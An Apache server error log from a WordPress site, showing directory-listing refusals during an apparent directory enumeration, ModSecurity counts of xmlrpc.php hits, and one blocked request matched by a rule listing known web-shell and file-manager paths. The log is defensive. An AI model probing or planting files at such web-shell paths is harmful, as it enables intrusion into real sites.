[Sun Apr 12 23:33:38.198997 2026] [autoindex:error] [pid 25329:tid 25413] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:38.360408 2026] [autoindex:error] [pid 25329:tid 25393] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:41.557198 2026] [autoindex:error] [pid 25329:tid 25415] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:42.725282 2026] [autoindex:error] [pid 25329:tid 25378] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:44.929613 2026] [autoindex:error] [pid 25329:tid 25388] [client 173.239.218.34:23801] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:47.114657 2026] [autoindex:error] [pid 25329:tid 25413] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:47.277172 2026] [autoindex:error] [pid 25329:tid 25406] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:47.438517 2026] [autoindex:error] [pid 25329:tid 25393] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:47.600672 2026] [autoindex:error] [pid 25329:tid 25384] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:47.764351 2026] [autoindex:error] [pid 25329:tid 25414] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:36:01.287083 2026] [:error] [pid 60280:tid 60302] [client 149.202.183.73:33876] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.183.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adu74XBlLnDOYuIykkghowAAAdQ"]
[Sun Apr 12 23:38:39.857636 2026] [:error] [pid 26567:tid 26591] [client 147.182.174.7:36074] [client 147.182.174.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.174.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adu8f3hRpg6ptWFyFx3gKwAAARY"]
[Sun Apr 12 23:48:10.510933 2026] [:error] [pid 25329:tid 25407] [client 168.119.6.33:37986] [client 168.119.6.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.119.6.33, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adu-umdcIYsS8Iyaj13qCQAAAJI"]
[Sun Apr 12 23:50:28.540003 2026] [:error] [pid 25328:tid 25401] [client 103.179.35.2:6782] [client 103.179.35.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.179.35.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adu_RMxUaQZxT-e0YsCKuwAAAFU"]
[Sun Apr 12 23:50:38.761400 2026] [:error] [pid 25437:tid 25452] [client 103.179.35.2:32855] [client 103.179.35.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.179.35.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adu_Tnf97wYZje1ep_OVdgAAAM0"]
[Sun Apr 12 23:50:49.243998 2026] [:error] [pid 26600:tid 26633] [client 103.179.35.2:15000] [client 103.179.35.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.179.35.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adu_We1YwAZiXhQKLYp35wAAAYQ"]
[Sun Apr 12 23:52:31.516721 2026] [:error] [pid 25327:tid 25341] [client 156.67.82.40:45970] [client 156.67.82.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.82.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adu_vy6h2tZEVJo9JFIokwAAAAU"]
[Mon Apr 13 00:04:41.564098 2026] [:error] [pid 25328:tid 25364] [client 5.42.124.21:48644] [client 5.42.124.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.42.124.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advCmcxUaQZxT-e0YsCOWwAAAEA"]
[Mon Apr 13 00:05:58.642344 2026] [:error] [pid 25328:tid 25375] [client 144.91.86.124:36460] [client 144.91.86.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.91.86.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advC5sxUaQZxT-e0YsCOmgAAAEk"]
[Mon Apr 13 00:09:03.975350 2026] [:error] [pid 60280:tid 60305] [client 34.34.78.57:39528] [client 34.34.78.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.34.78.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advDn3BlLnDOYuIykkgxOwAAAdc"]
[Mon Apr 13 00:10:53.382725 2026] [:error] [pid 25328:tid 25379] [client 23.98.148.92:45124] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advEDcxUaQZxT-e0YsCP7AAAAEs"]
[Mon Apr 13 00:11:20.086313 2026] [:error] [pid 26599:tid 26612] [client 46.246.39.245:46544] [client 46.246.39.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.246.39.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advEKHG89LXoQbk_rwD7FgAAAUo"]
[Mon Apr 13 00:14:50.697847 2026] [:error] [pid 25437:tid 25453] [client 137.184.230.10:51582] [client 137.184.230.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.230.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advE-nf97wYZje1ep_OabgAAAM4"]
[Mon Apr 13 00:17:38.238477 2026] [:error] [pid 25328:tid 25398] [client 51.38.135.40:51610] [client 51.38.135.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.38.135.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advFosxUaQZxT-e0YsCSDwAAAFQ"]
[Mon Apr 13 00:20:26.399350 2026] [:error] [pid 26600:tid 26647] [client 173.239.218.31:45663] [client 173.239.218.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "advGSu1YwAZiXhQKLYp9yAAAAZI"]
[Mon Apr 13 00:20:38.022384 2026] [autoindex:error] [pid 25327:tid 25354] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:39.690920 2026] [autoindex:error] [pid 25327:tid 25343] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:45.064158 2026] [autoindex:error] [pid 25327:tid 25339] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:46.007437 2026] [autoindex:error] [pid 25327:tid 25349] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:48.713713 2026] [autoindex:error] [pid 25327:tid 25337] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:48.885343 2026] [autoindex:error] [pid 25327:tid 25346] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:49.048880 2026] [autoindex:error] [pid 25327:tid 25355] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:50.862366 2026] [autoindex:error] [pid 25327:tid 25354] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:51.024837 2026] [autoindex:error] [pid 25327:tid 25352] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:51.820891 2026] [autoindex:error] [pid 25327:tid 25357] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:51.983010 2026] [autoindex:error] [pid 25327:tid 25340] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:52.144925 2026] [autoindex:error] [pid 25327:tid 25344] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:53.209205 2026] [autoindex:error] [pid 25327:tid 25346] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:53.372914 2026] [autoindex:error] [pid 25327:tid 25355] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:53.533629 2026] [autoindex:error] [pid 25327:tid 25353] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:55.842714 2026] [autoindex:error] [pid 25327:tid 25342] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:56.008987 2026] [autoindex:error] [pid 25327:tid 25358] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:56.171471 2026] [autoindex:error] [pid 25327:tid 25357] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:56.332563 2026] [autoindex:error] [pid 25327:tid 25340] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:56.494208 2026] [autoindex:error] [pid 25327:tid 25344] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:56.655978 2026] [autoindex:error] [pid 25327:tid 25360] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:58.054137 2026] [autoindex:error] [pid 25327:tid 25355] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:20:58.217293 2026] [autoindex:error] [pid 25327:tid 25353] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:00.758869 2026] [autoindex:error] [pid 25327:tid 25340] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:02.517095 2026] [autoindex:error] [pid 25327:tid 25343] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:02.844563 2026] [autoindex:error] [pid 25327:tid 25353] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:06.038412 2026] [autoindex:error] [pid 25327:tid 25338] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:06.213453 2026] [autoindex:error] [pid 25327:tid 25346] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:06.959864 2026] [:error] [pid 25329:tid 25381] [client 94.23.210.48:59336] [client 94.23.210.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.23.210.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advGcmdcIYsS8Iyaj133WwAAAIM"]
[Mon Apr 13 00:21:08.674934 2026] [autoindex:error] [pid 25327:tid 25352] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:09.754688 2026] [autoindex:error] [pid 25327:tid 25358] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:10.710851 2026] [autoindex:error] [pid 25327:tid 25350] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
